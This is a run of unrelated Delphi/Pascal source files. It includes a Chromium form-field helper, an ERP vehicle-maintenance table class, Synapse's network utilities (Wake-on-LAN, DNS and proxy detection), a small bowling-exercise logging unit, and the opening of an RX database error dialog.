end;
function TCustomWeb.GetFloatField(const FormName, FieldName: string;
DefaultValue: Real): Real;
var
Temp: string;
Val: Extended;
begin
Result := DefaultValue;
Temp := GetStringField(FormName, FieldName, '');
if {$IFDEF DELPHIXE}FormatSettings.DecimalSeparator{$ELSE}DecimalSeparator{$ENDIF} = ',' then
Temp := StringReplace(Temp, '.', ',', [rfReplaceAll]);
if (Temp <> '') and TryStrToFloat(Temp, Val) then
Result := Val;
end;
function TCustomWeb.GetIntegerField(const FormName, FieldName: string;
DefaultValue: Integer): Integer;
var
Temp: string;
Val: Integer;
begin
Result := DefaultValue;
Temp := GetStringField(FormName, FieldName, '');
if (Temp <> '') and TryStrToInt(Temp, Val) then
Result := Val;
end;
function TCustomWeb.GetStringField(const FormName, FieldName: string;
DefaultValue: string): string;
begin
Result := DefaultValue;
WebFormNames;
if Forms.IndexOf(FormName) = -1 then Exit;
WebFormFields(FormName);
if Fields.IndexOf(FieldName) <> -1 then
Result := Trim(WebFormFieldValue(Forms.IndexOf(FormName), FieldName));
end;
procedure TCustomWeb.SetBrowser(Browser: TComponent);
begin
FWebBrowser := Browser;
end;
procedure TCustomWeb.WebFormFields(const FormName: string);
begin
WebFormFields(FForms.IndexOf(FormName));
end;
procedure TCustomWeb.WebFormSetFieldValue(const FormName, FieldName,
NewValue: string);
begin
WebFormSetFieldValue(FForms.IndexOf(FormName), FieldName, NewValue);
end;
procedure TCustomWeb.WebFormSubmit(const FormName: string);
begin
WebFormSubmit(FForms.IndexOf(FormName));
end;
function TCustomWeb.WebFormFieldValue(const FormName,
FieldName: string): string;
begin
WebFormFieldValue(FForms.IndexOf(FormName), FieldName);
end;
{$IFDEF CHROMIUM}
{ TCustomWebChromium }
function TCustomWebChromium.GetField(Node: ICefDomNode;
FieldName: string): ICefDomNode;
begin
Result := nil;
if not Assigned(Node) then Exit;
if not Node.HasChildren then Exit;
Node := Node.FirstChild;
repeat
if SameText(Node.GetElementAttribute('name'), FieldName) then
begin
Result := Node;
Break;
end;
if Node.HasChildren then
begin
Result := GetField(Node, FieldName);
if Assigned(Result) then Break;
end;
Node := Node.NextSibling;
until not Assigned(Node);
end;
function TCustomWebChromium.GetFieldsName(Node: ICefDomNode): string;
var
Str: string;
begin
Result := '';
if not Assigned(Node) then Exit;
if not Node.HasChildren then Exit;
Node := Node.FirstChild;
repeat
if SameText(Node.ElementTagName, 'INPUT') or
SameText(Node.ElementTagName, 'SELECT')or
SameText(Node.ElementTagName, 'TEXTAREA') then
begin
if Result <> '' then Result := Result + ',';
Result := Result + Node.GetElementAttribute('name');
end;
if Node.HasChildren then
Str := GetFieldsName(Node);
if Str <> '' then
begin
if Result <> '' then Result := Result + ',';
Result := Result + Str;
end;
Node := Node.NextSibling;
until not Assigned(Node);
end;
function TCustomWebChromium.GetFieldValue(Node: ICefDomNode;
FieldName: string): string;
begin
Node := GetField(Node, FieldName);
if not Assigned(Node) then Exit;
Result := Node.GetElementAttribute('value');
end;
function TCustomWebChromium.GetFormsName(Node: ICefDomNode): string;
var
Str: string;
begin
Result := '';
if not Assigned(Node) then Exit;
repeat
if SameText(Node.ElementTagName, 'FORM') then
begin
if Result <> '' then Result := Result + ',';
Result := Result + Node.GetElementAttribute('name');
end;
if Node.HasChildren then
begin
Str := GetFormsName(Node.FirstChild);
if Str <> '' then
begin
if Result <> '' then Result := Result + ',';
Result := Result + Str;
end;
end;
Node := Node.NextSibling;
until not Assigned(Node);
end;
procedure TCustomWebChromium.SetFieldValue(Node: ICefDomNode; FieldName,
NewValue: string);
begin
Node := GetField(Node, FieldName);
if not Assigned(Node) then Exit;
Node.SetElementAttribute('value', NewValue);
end;
{$ENDIF}
end.
|
unit Ths.Erp.Database.Table.Arac.BakimBilgisi;
interface
{$I ThsERP.inc}
uses
SysUtils, Classes, Dialogs, Forms, Windows, Controls, Types, DateUtils,
FireDAC.Stan.Param, System.Variants, Data.DB,
Ths.Erp.Database
, Ths.Erp.Database.Table
;
type
TBakimBilgisi = class(TTable)
private
FPlaka: TFieldDB;
FBakimTarihi: TFieldDB;
FBakimNotu: TFieldDB;
FBakimYapanServis: TFieldDB;
FPeriyodikBakimKM: TFieldDB;
FTrafikSigortaTarihi: TFieldDB;
FAracMuayeneTarihi: TFieldDB;
FAracKM: TFieldDB;
protected
published
constructor Create(OwnerDatabase:TDatabase);override;
public
procedure SelectToDatasource(pFilter: string; pPermissionControl: Boolean=True); override;
procedure SelectToList(pFilter: string; pLock: Boolean; pPermissionControl: Boolean=True); override;
procedure Insert(out pID: Integer; pPermissionControl: Boolean=True); override;
procedure Update(pPermissionControl: Boolean=True); override;
function Clone():TTable;override;
property Plaka: TFieldDB read FPlaka write FPlaka;
property BakimTarihi: TFieldDB read FBakimTarihi write FBakimTarihi;
property BakimNotu: TFieldDB read FBakimNotu write FBakimNotu;
property BakimYapanServis: TFieldDB read FBakimYapanServis write FBakimYapanServis;
property PeriyodikBakimKM: TFieldDB read FPeriyodikBakimKM write FPeriyodikBakimKM;
property TrafikSigortaTarihi: TFieldDB read FTrafikSigortaTarihi write FTrafikSigortaTarihi;
property AracMuayeneTarihi: TFieldDB read FAracMuayeneTarihi write FAracMuayeneTarihi;
property AracKM: TFieldDB read FAracKM write FAracKM;
end;
implementation
uses
Ths.Erp.Constants,
Ths.Erp.Database.Singleton;
constructor TBakimBilgisi.Create(OwnerDatabase:TDatabase);
begin
inherited Create(OwnerDatabase);
TableName := 'arac_bakim_bilgisi';
SourceCode := '1000';
FPlaka := TFieldDB.Create('plaka', ftString, '');
FBakimTarihi := TFieldDB.Create('bakim_tarihi', ftDateTime, 0);
FBakimNotu := TFieldDB.Create('bakim_notu', ftString, '');
FBakimYapanServis := TFieldDB.Create('bakim_yapan_servis', ftString, '');
FPeriyodikBakimKM := TFieldDB.Create('periyodik_bakim_km', ftInteger, 0);
FTrafikSigortaTarihi := TFieldDB.Create('trafik_sigorta_tarihi', ftDateTime, 0);
FAracMuayeneTarihi := TFieldDB.Create('arac_muayene_tarihi', ftDateTime, 0);
FAracKM := TFieldDB.Create('arac_km', ftInteger, 0);
end;
procedure TBakimBilgisi.SelectToDatasource(pFilter: string; pPermissionControl: Boolean=True);
begin
if IsAuthorized(ptRead, pPermissionControl) then
begin
with QueryOfDS do
begin
Close;
SQL.Clear;
SQL.Text := Database.GetSQLSelectCmd(TableName, [
TableName + '.' + Self.Id.FieldName,
TableName + '.' + FPlaka.FieldName,
TableName + '.' + FBakimTarihi.FieldName,
TableName + '.' + FBakimNotu.FieldName,
TableName + '.' + FBakimYapanServis.FieldName,
TableName + '.' + FPeriyodikBakimKM.FieldName,
TableName + '.' + FTrafikSigortaTarihi.FieldName,
TableName + '.' + FAracMuayeneTarihi.FieldName,
TableName + '.' + FAracKM.FieldName
]) +
'WHERE 1=1 ' + pFilter;
Open;
Active := True;
Self.DataSource.DataSet.FindField(Self.Id.FieldName).DisplayLabel := 'Id';
Self.DataSource.DataSet.FindField(FPlaka.FieldName).DisplayLabel := 'Ad Soyad';
Self.DataSource.DataSet.FindField(FBakimTarihi.FieldName).DisplayLabel := 'Açıklama';
Self.DataSource.DataSet.FindField(FBakimNotu.FieldName).DisplayLabel := 'Görev Verebilir?';
Self.DataSource.DataSet.FindField(FBakimYapanServis.FieldName).DisplayLabel := 'Araç Sürebilir?';
Self.DataSource.DataSet.FindField(FPeriyodikBakimKM.FieldName).DisplayLabel := 'Periyodik Bakım KM';
Self.DataSource.DataSet.FindField(FTrafikSigortaTarihi.FieldName).DisplayLabel := 'Trafik Sigorta Tarihi';
Self.DataSource.DataSet.FindField(FAracMuayeneTarihi.FieldName).DisplayLabel := 'Muayene Tarihi';
Self.DataSource.DataSet.FindField(FAracKM.FieldName).DisplayLabel := 'Araç KM';
end;
end;
end;
procedure TBakimBilgisi.SelectToList(pFilter: string; pLock: Boolean; pPermissionControl: Boolean=True);
begin
if IsAuthorized(ptRead, pPermissionControl) then
begin
if (pLock) then
pFilter := pFilter + ' FOR UPDATE OF ' + TableName + ' NOWAIT';
with QueryOfList do
begin
Close;
SQL.Text := Database.GetSQLSelectCmd(TableName, [
TableName + '.' + Self.Id.FieldName,
TableName + '.' + FPlaka.FieldName,
TableName + '.' + FBakimTarihi.FieldName,
TableName + '.' + FBakimNotu.FieldName,
TableName + '.' + FBakimYapanServis.FieldName,
TableName + '.' + FPeriyodikBakimKM.FieldName,
TableName + '.' + FTrafikSigortaTarihi.FieldName,
TableName + '.' + FAracMuayeneTarihi.FieldName,
TableName + '.' + FAracKM.FieldName
]) +
'WHERE 1=1 ' + pFilter;
Open;
FreeListContent();
List.Clear;
while NOT EOF do
begin
Self.Id.Value := FormatedVariantVal(FieldByName(Self.Id.FieldName).DataType, FieldByName(Self.Id.FieldName).Value);
FPlaka.Value := FormatedVariantVal(FieldByName(FPlaka.FieldName).DataType, FieldByName(FPlaka.FieldName).Value);
FBakimTarihi.Value := FormatedVariantVal(FieldByName(FBakimTarihi.FieldName).DataType, FieldByName(FBakimTarihi.FieldName).Value);
FBakimNotu.Value := FormatedVariantVal(FieldByName(FBakimNotu.FieldName).DataType, FieldByName(FBakimNotu.FieldName).Value);
FBakimYapanServis.Value := FormatedVariantVal(FieldByName(FBakimYapanServis.FieldName).DataType, FieldByName(FBakimYapanServis.FieldName).Value);
FPeriyodikBakimKM.Value := FormatedVariantVal(FieldByName(FPeriyodikBakimKM.FieldName).DataType, FieldByName(FPeriyodikBakimKM.FieldName).Value);
FTrafikSigortaTarihi.Value := FormatedVariantVal(FieldByName(FTrafikSigortaTarihi.FieldName).DataType, FieldByName(FTrafikSigortaTarihi.FieldName).Value);
FAracMuayeneTarihi.Value := FormatedVariantVal(FieldByName(FAracMuayeneTarihi.FieldName).DataType, FieldByName(FAracMuayeneTarihi.FieldName).Value);
FAracKM.Value := FormatedVariantVal(FieldByName(FAracKM.FieldName).DataType, FieldByName(FAracKM.FieldName).Value);
List.Add(Self.Clone());
Next;
end;
Close;
end;
end;
end;
procedure TBakimBilgisi.Insert(out pID: Integer; pPermissionControl: Boolean=True);
begin
if IsAuthorized(ptAddRecord, pPermissionControl) then
begin
with QueryOfInsert do
begin
Close;
SQL.Clear;
SQL.Text := Database.GetSQLInsertCmd(TableName, QUERY_PARAM_CHAR, [
FPlaka.FieldName,
FBakimTarihi.FieldName,
FBakimNotu.FieldName,
FBakimYapanServis.FieldName,
FPeriyodikBakimKM.FieldName,
FTrafikSigortaTarihi.FieldName,
FAracMuayeneTarihi.FieldName,
FAracKM.FieldName
]);
NewParamForQuery(QueryOfInsert, FPlaka);
NewParamForQuery(QueryOfInsert, FBakimTarihi);
NewParamForQuery(QueryOfInsert, FBakimNotu);
NewParamForQuery(QueryOfInsert, FBakimYapanServis);
NewParamForQuery(QueryOfInsert, FPeriyodikBakimKM);
NewParamForQuery(QueryOfInsert, FTrafikSigortaTarihi);
NewParamForQuery(QueryOfInsert, FAracMuayeneTarihi);
NewParamForQuery(QueryOfInsert, FAracKM);
Open;
if (Fields.Count > 0) and (not Fields.FieldByName(Self.Id.FieldName).IsNull) then
pID := Fields.FieldByName(Self.Id.FieldName).AsInteger
else
pID := 0;
EmptyDataSet;
Close;
end;
Self.notify;
end;
end;
procedure TBakimBilgisi.Update(pPermissionControl: Boolean=True);
begin
if IsAuthorized(ptUpdate, pPermissionControl) then
begin
with QueryOfUpdate do
begin
Close;
SQL.Clear;
SQL.Text := Database.GetSQLUpdateCmd(TableName, QUERY_PARAM_CHAR, [
FPlaka.FieldName,
FBakimTarihi.FieldName,
FBakimNotu.FieldName,
FBakimYapanServis.FieldName,
FPeriyodikBakimKM.FieldName,
FTrafikSigortaTarihi.FieldName,
FAracMuayeneTarihi.FieldName,
FAracKM.FieldName
]);
NewParamForQuery(QueryOfUpdate, FPlaka);
NewParamForQuery(QueryOfUpdate, FBakimTarihi);
NewParamForQuery(QueryOfUpdate, FBakimNotu);
NewParamForQuery(QueryOfUpdate, FBakimYapanServis);
NewParamForQuery(QueryOfUpdate, FPeriyodikBakimKM);
NewParamForQuery(QueryOfUpdate, FTrafikSigortaTarihi);
NewParamForQuery(QueryOfUpdate, FAracMuayeneTarihi);
NewParamForQuery(QueryOfUpdate, FAracKM);
NewParamForQuery(QueryOfUpdate, Id);
ExecSQL;
Close;
end;
Self.notify;
end;
end;
function TBakimBilgisi.Clone():TTable;
begin
Result := TBakimBilgisi.Create(Database);
Self.Id.Clone(TBakimBilgisi(Result).Id);
FPlaka.Clone(TBakimBilgisi(Result).FPlaka);
FBakimTarihi.Clone(TBakimBilgisi(Result).FBakimTarihi);
FBakimNotu.Clone(TBakimBilgisi(Result).FBakimNotu);
FBakimYapanServis.Clone(TBakimBilgisi(Result).FBakimYapanServis);
FPeriyodikBakimKM.Clone(TBakimBilgisi(Result).FPeriyodikBakimKM);
FTrafikSigortaTarihi.Clone(TBakimBilgisi(Result).FTrafikSigortaTarihi);
FAracMuayeneTarihi.Clone(TBakimBilgisi(Result).FAracMuayeneTarihi);
FAracKM.Clone(TBakimBilgisi(Result).FAracKM);
end;
end.
|
{==============================================================================|
| Project : Ararat Synapse | 001.003.001 |
|==============================================================================|
| Content: misc. procedures and functions |
|==============================================================================|
| Copyright (c)1999-2014, Lukas Gebauer |
| All rights reserved. |
| |
| Redistribution and use in source and binary forms, with or without |
| modification, are permitted provided that the following conditions are met: |
| |
| Redistributions of source code must retain the above copyright notice, this |
| list of conditions and the following disclaimer. |
| |
| Redistributions in binary form must reproduce the above copyright notice, |
| this list of conditions and the following disclaimer in the documentation |
| and/or other materials provided with the distribution. |
| |
| Neither the name of Lukas Gebauer nor the names of its contributors may |
| be used to endorse or promote products derived from this software without |
| specific prior written permission. |
| |
| THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" |
| AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE |
| IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE |
| ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE FOR |
| ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL |
| DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR |
| SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER |
| CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT |
| LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY |
| OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH |
| DAMAGE. |
|==============================================================================|
| The Initial Developer of the Original Code is Lukas Gebauer (Czech Republic).|
| Portions created by Lukas Gebauer are Copyright (c) 2002-2010. |
| All Rights Reserved. |
|==============================================================================|
| Contributor(s): |
|==============================================================================|
| History: see HISTORY.HTM from distribution package |
| (Found at URL: http://www.ararat.cz/synapse/) |
|==============================================================================}
{:@abstract(Miscellaneous network based utilities)}
{$IFDEF FPC}
{$MODE DELPHI}
{$ENDIF}
{$Q-}
{$H+}
//Kylix does not known UNIX define
{$IFDEF LINUX}
{$IFNDEF UNIX}
{$DEFINE UNIX}
{$ENDIF}
{$ENDIF}
{$TYPEDADDRESS OFF}
{$IFDEF UNICODE}
{$WARN IMPLICIT_STRING_CAST OFF}
{$WARN IMPLICIT_STRING_CAST_LOSS OFF}
{$ENDIF}
unit synamisc;
interface
{$IFDEF VER125}
{$DEFINE BCB}
{$ENDIF}
{$IFDEF BCB}
{$ObjExportAll On}
{$HPPEMIT '#pragma comment( lib , "wininet.lib" )'}
{$ENDIF}
uses
synautil, blcksock, SysUtils, Classes
{$IFDEF UNIX}
{$IFNDEF FPC}
, Libc
{$ENDIF}
{$ELSE}
, Windows
{$ENDIF}
;
Type
{:@abstract(This record contains information about proxy settings.)}
TProxySetting = record
Host: string;
Port: string;
Bypass: string;
end;
{:With this function you can turn on a computer on the network, if this computer
supports Wake-on-LAN feature. You need the MAC address
(network card identifier) of the computer. You can also assign a target IP
addres. If you do not specify it, then broadcast is used to deliver magic
wake-on-LAN packet.
However broadcasts work only on your local network. When you need to wake-up a
computer on another network, you must specify any existing IP addres on same
network segment as targeting computer.}
procedure WakeOnLan(MAC, IP: string);
{:Autodetect current DNS servers used by the system. If more than one DNS server
is defined, then the result is comma-delimited.}
function GetDNS: string;
{:Autodetect InternetExplorer proxy setting for given protocol. This function
works only on windows!}
function GetIEProxy(protocol: string): TProxySetting;
{:Return all known IP addresses on the local system. Addresses are divided by
comma/comma-delimited.}
function GetLocalIPs: string;
implementation
{==============================================================================}
procedure WakeOnLan(MAC, IP: string);
var
sock: TUDPBlockSocket;
HexMac: Ansistring;
data: Ansistring;
n: integer;
b: Byte;
begin
if MAC <> '' then
begin
MAC := ReplaceString(MAC, '-', '');
MAC := ReplaceString(MAC, ':', '');
if Length(MAC) < 12 then
Exit;
HexMac := '';
for n := 0 to 5 do
begin
b := StrToIntDef('$' + MAC[n * 2 + 1] + MAC[n * 2 + 2], 0);
HexMac := HexMac + char(b);
end;
if IP = '' then
IP := cBroadcast;
sock := TUDPBlockSocket.Create;
try
sock.CreateSocket;
sock.EnableBroadcast(true);
sock.Connect(IP, '9');
data := #$FF + #$FF + #$FF + #$FF + #$FF + #$FF;
for n := 1 to 16 do
data := data + HexMac;
sock.SendString(data);
finally
sock.Free;
end;
end;
end;
{==============================================================================}
{$IFNDEF UNIX}
function GetDNSbyIpHlp: string;
type
PTIP_ADDRESS_STRING = ^TIP_ADDRESS_STRING;
TIP_ADDRESS_STRING = array[0..15] of Ansichar;
PTIP_ADDR_STRING = ^TIP_ADDR_STRING;
TIP_ADDR_STRING = packed record
Next: PTIP_ADDR_STRING;
IpAddress: TIP_ADDRESS_STRING;
IpMask: TIP_ADDRESS_STRING;
Context: DWORD;
end;
PTFixedInfo = ^TFixedInfo;
TFixedInfo = packed record
HostName: array[1..128 + 4] of Ansichar;
DomainName: array[1..128 + 4] of Ansichar;
CurrentDNSServer: PTIP_ADDR_STRING;
DNSServerList: TIP_ADDR_STRING;
NodeType: UINT;
ScopeID: array[1..256 + 4] of Ansichar;
EnableRouting: UINT;
EnableProxy: UINT;
EnableDNS: UINT;
end;
const
IpHlpDLL = 'IPHLPAPI.DLL';
var
IpHlpModule: THandle;
FixedInfo: PTFixedInfo;
InfoSize: Longint;
PDnsServer: PTIP_ADDR_STRING;
err: integer;
GetNetworkParams: function(FixedInfo: PTFixedInfo; pOutPutLen: PULONG): DWORD; stdcall;
begin
InfoSize := 0;
Result := '...';
IpHlpModule := LoadLibrary(IpHlpDLL);
if IpHlpModule = 0 then
exit;
try
GetNetworkParams := GetProcAddress(IpHlpModule,PAnsiChar(AnsiString('GetNetworkParams')));
if @GetNetworkParams = nil then
Exit;
err := GetNetworkParams(Nil, @InfoSize);
if err <> ERROR_BUFFER_OVERFLOW then
Exit;
Result := '';
GetMem (FixedInfo, InfoSize);
try
err := GetNetworkParams(FixedInfo, @InfoSize);
if err <> ERROR_SUCCESS then
exit;
with FixedInfo^ do
begin
Result := DnsServerList.IpAddress;
PDnsServer := DnsServerList.Next;
while PDnsServer <> Nil do
begin
if Result <> '' then
Result := Result + ',';
Result := Result + PDnsServer^.IPAddress;
PDnsServer := PDnsServer.Next;
end;
end;
finally
FreeMem(FixedInfo);
end;
finally
FreeLibrary(IpHlpModule);
end;
end;
function ReadReg(SubKey, Vn: PChar): string;
var
OpenKey: HKEY;
DataType, DataSize: integer;
Temp: array [0..2048] of char;
begin
Result := '';
if RegOpenKeyEx(HKEY_LOCAL_MACHINE, SubKey, REG_OPTION_NON_VOLATILE,
KEY_READ, OpenKey) = ERROR_SUCCESS then
begin
DataType := REG_SZ;
DataSize := SizeOf(Temp);
if RegQueryValueEx(OpenKey, Vn, nil, @DataType, @Temp, @DataSize) = ERROR_SUCCESS then
SetString(Result, Temp, DataSize div SizeOf(Char) - 1);
RegCloseKey(OpenKey);
end;
end ;
{$ENDIF}
function GetDNS: string;
{$IFDEF UNIX}
var
l: TStringList;
n: integer;
begin
Result := '';
l := TStringList.Create;
try
l.LoadFromFile('/etc/resolv.conf');
for n := 0 to l.Count - 1 do
if Pos('NAMESERVER', uppercase(l[n])) = 1 then
begin
if Result <> '' then
Result := Result + ',';
Result := Result + SeparateRight(l[n], ' ');
end;
finally
l.Free;
end;
end;
{$ELSE}
const
NTdyn = 'System\CurrentControlSet\Services\Tcpip\Parameters\Temporary';
NTfix = 'System\CurrentControlSet\Services\Tcpip\Parameters';
W9xfix = 'System\CurrentControlSet\Services\MSTCP';
begin
Result := GetDNSbyIpHlp;
if Result = '...' then
begin
if Win32Platform = VER_PLATFORM_WIN32_NT then
begin
Result := ReadReg(NTdyn, 'NameServer');
if result = '' then
Result := ReadReg(NTfix, 'NameServer');
if result = '' then
Result := ReadReg(NTfix, 'DhcpNameServer');
end
else
Result := ReadReg(W9xfix, 'NameServer');
Result := ReplaceString(trim(Result), ' ', ',');
end;
end;
{$ENDIF}
{==============================================================================}
function GetIEProxy(protocol: string): TProxySetting;
{$IFDEF UNIX}
begin
Result.Host := '';
Result.Port := '';
Result.Bypass := '';
end;
{$ELSE}
type
PInternetProxyInfo = ^TInternetProxyInfo;
TInternetProxyInfo = packed record
dwAccessType: DWORD;
lpszProxy: LPCSTR;
lpszProxyBypass: LPCSTR;
end;
const
INTERNET_OPTION_PROXY = 38;
INTERNET_OPEN_TYPE_PROXY = 3;
WininetDLL = 'WININET.DLL';
var
WininetModule: THandle;
ProxyInfo: PInternetProxyInfo;
Err: Boolean;
Len: DWORD;
Proxy: string;
DefProxy: string;
ProxyList: TStringList;
n: integer;
InternetQueryOption: function (hInet: Pointer; dwOption: DWORD;
lpBuffer: Pointer; var lpdwBufferLength: DWORD): BOOL; stdcall;
begin
Result.Host := '';
Result.Port := '';
Result.Bypass := '';
WininetModule := LoadLibrary(WininetDLL);
if WininetModule = 0 then
exit;
try
InternetQueryOption := GetProcAddress(WininetModule,PAnsiChar(AnsiString('InternetQueryOptionA')));
if @InternetQueryOption = nil then
Exit;
if protocol = '' then
protocol := 'http';
Len := 4096;
GetMem(ProxyInfo, Len);
ProxyList := TStringList.Create;
try
Err := InternetQueryOption(nil, INTERNET_OPTION_PROXY, ProxyInfo, Len);
if Err then
if ProxyInfo^.dwAccessType = INTERNET_OPEN_TYPE_PROXY then
begin
ProxyList.CommaText := ReplaceString(ProxyInfo^.ctpszProxy, ' ', ',');
Proxy := '';
DefProxy := '';
for n := 0 to ProxyList.Count -1 do
begin
if Pos(lowercase(protocol) + '=', lowercase(ProxyList[n])) = 1 then
begin
Proxy := SeparateRight(ProxyList[n], '=');
break;
end;
if Pos('=', ProxyList[n]) < 1 then
DefProxy := ProxyList[n];
end;
if Proxy = '' then
Proxy := DefProxy;
if Proxy <> '' then
begin
Result.Host := Trim(SeparateLeft(Proxy, ':'));
Result.Port := Trim(SeparateRight(Proxy, ':'));
end;
Result.Bypass := ReplaceString(ProxyInfo^.ctpszProxyBypass, ' ', ',');
end;
finally
ProxyList.Free;
FreeMem(ProxyInfo);
end;
finally
FreeLibrary(WininetModule);
end;
end;
{$ENDIF}
{==============================================================================}
function GetLocalIPs: string;
var
TcpSock: TTCPBlockSocket;
ipList: TStringList;
begin
Result := '';
ipList := TStringList.Create;
try
TcpSock := TTCPBlockSocket.create;
try
TcpSock.ResolveNameToIP(TcpSock.LocalName, ipList);
Result := ipList.CommaText;
finally
TcpSock.Free;
end;
finally
ipList.Free;
end;
end;
{==============================================================================}
end.
|
unit BowlError; // Contains the exception class and log file handling.
// Also stores some of the test data used during unit and integration testing
interface
uses SysUtils;
type
EBowlException = class(Exception); // exception class used for the bowling exercise
var
LogFileName: string; // global containing the requested log file name; used to indicate what file logs will appear in. Should be initialized by whatever is implementing the IGame interface
procedure AddLogEntry(Msg: string); // Add an entry to the log file
implementation
uses
Classes;
procedure AddLogEntry(Msg: string);
var
T: Text;
begin
if not(FileExists(LogFileName)) then begin
AssignFile(T, LogFileName);
Rewrite(T);
end else begin
AssignFile(T, LogFileName);
Append(T);
end;
Writeln(T, Msg);
CloseFile(T);
end;
initialization
LogFileName := '';
// Test cases
// Throw these into the edit box to test features
// Check all strikes 10 10 10 10 10 10 10 10 10 10 10 10
// Check the gutters 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
// Check too many entries 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
// Check over 10 in frame 1 2 3 4 5 6
// Check all spares 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5
// Check strike, spare, open 1 1 10 7 3 2 8
// Prep for 10th frame testing 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4
// Check for 10th strike display 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 10 2 9
end.
|
{*******************************************************}
{ }
{ Delphi VCL Extensions (RX) }
{ }
{ TRxBdeErrorDlg based on sample form }
{ DELPHI\DEMOS\DB\TOOLS\DBEXCEPT.PAS }
{ Portions copyright (c) 1995, 1996 AO ROSNO }
{ Portions copyright (c) 1997, 1998 Master-Bank }
{ }
{*******************************************************}
unit rxDBExcpt;
{$I RX.INC}
interface
uses
SysUtils, Messages, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, ExtCtrls, DB, {$IFDEF RX_D3} DBTables, {$ENDIF} RXCtrls;
type
TDBErrorEvent = procedure (Error: TDBError; var Msg: string) of object;
TRxBdeErrorDlg = class(TForm)
BasicPanel: TPanel;
ErrorText: TLabel;
IconPanel: TPanel;
IconImage: TImage;
TopPanel: TPanel;
RightPanel: TPanel;
DetailsPanel: TPanel;
DbMessageText: TMemo;
DbResult: TEdit;
DbCatSub: TEdit;
NativeResult: TEdit;
Back: TButton;
Next: TButton;
ButtonPanel: TPanel;
DetailsBtn: TButton;
OKBtn: TButton;
BDELabel: TRxLabel;
NativeLabel: TRxLabel;
BottomPanel: TPanel;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure FormShow(Sender: TObject);
procedure DetailsBtnClick(Sender: TObject);
procedure BackClick(Sender: TObject);
procedure NextClick(Sender: TObject);
private
CurItem: Integer;
Details: Boolean;
DetailsHeight: Integer;
DbException: EDbEngineError;
FPrevOnException: TExceptionEvent;
FOnErrorMsg: TDBErrorEvent;
procedure GetErrorMsg(Error: TDBError; var Msg: string);
procedure ShowError;
procedure SetShowDetails(Value: Boolean);
public
procedure ShowException(Sender: TObject; E: Exception);
property OnErrorMsg: TDBErrorEvent read FOnErrorMsg write FOnErrorMsg;
end;
const
DbErrorHelpCtx: THelpContext = 0;
var
DbEngineErrorDlg: TRxBdeErrorDlg;
procedure DbErrorIntercept;
implementation
uses
Windows, BDE, Consts,
RxDConst, RxCConst, rxVCLUtils;
{$R *.DFM}
procedure DbErrorIntercept;
begin
if DbEngineErrorDlg <> nil then DbEngineErrorDlg.Free;
DbEngineErrorDlg := TRxBdeErrorDlg.Create(Application);
end;
{ TRxBdeErrorDlg }
procedure TRxBdeErrorDlg.ShowException(Sender: TObject; E: Exception);
begin
Screen.Cursor := crDefault;
Application.NormalizeTopMosts;
try
if (E is EDbEngineError) and (DbException = nil)
and not Application.Terminated then
begin
DbException := EDbEngineError(E);
try
ShowModal;
finally
DbException := nil;
end;
end
else begin
if Assigned(FPrevOnException) then FPrevOnException(Sender, E)
else if NewStyleControls then Application.ShowException(E)
else MessageDlg(E.Message + '.', mtError, [mbOk], 0);
end;
except
{ ignore any exceptions }
end;
Application.RestoreTopMosts;
end;
procedure TRxBdeErrorDlg.ShowError;
var
BDEError: TDbError;
S: string;
I: Integer;
begin
Back.Enabled := CurItem > 0;
Next.Enabled := CurItem < DbException.ErrorCount - 1;
BDEError := DbException.Errors[CurItem];
{ Fill BDE error information }
BDELabel.Enabled := True;
DbResult.Text := IntToStr(BDEError.ErrorCode);
DbCatSub.Text := Format('[$%s] [$%s]', [IntToHex(BDEError.Category, 2),
IntToHex(BDEError.SubCode, 2)]);
{ Fill native error information }
NativeLabel.Enabled := BDEError.NativeError <> 0;
if NativeLabel.Enabled then
NativeResult.Text := IntToStr(BDEError.NativeError)
else NativeResult.Clear;
{ The message text is common to both BDE and native errors }
S := Trim(BDEError.Message);
for I := 1 to Length(S) do
if S[I] < ' ' then S[I] := ' ';
{GetErrorMsg(BDEError, S);}
DbMessageText.Text := Trim(S);
end;
procedure TRxBdeErrorDlg.SetShowDetails(Value: Boolean);
begin
DisableAlign;
try
if Value then begin
DetailsPanel.Height := DetailsHeight;
ClientHeight := DetailsPanel.Height + BasicPanel.Height;
DetailsBtn.Caption := '<< &' + LoadStr(SDetails);
CurItem := 0;
ShowError;
end
else begin
ClientHeight := BasicPanel.Height;
DetailsPanel.Height := 0;
DetailsBtn.Caption := '&' + LoadStr(SDetails) + ' >>';
end;
DetailsPanel.Enabled := Value;
Details := Value;
finally
EnableAlign;
end;
end;
procedure TRxBdeErrorDlg.GetErrorMsg(Error: TDBError; var Msg: string);
begin
if Assigned(FOnErrorMsg) then
try
FOnErrorMsg(Error, Msg);
except
end;
end;
procedure TRxBdeErrorDlg.FormCreate(Sender: TObject);
begin
DetailsHeight := DetailsPanel.Height;
Icon.Handle := LoadIcon(0, IDI_EXCLAMATION);
IconImage.Picture.Icon := Icon;
{ Load string resources }
Caption := LoadStr(SDBExceptCaption);
BDELabel.Caption := LoadStr(SBDEErrorLabel);
NativeLabel.Caption := LoadStr(SServerErrorLabel);
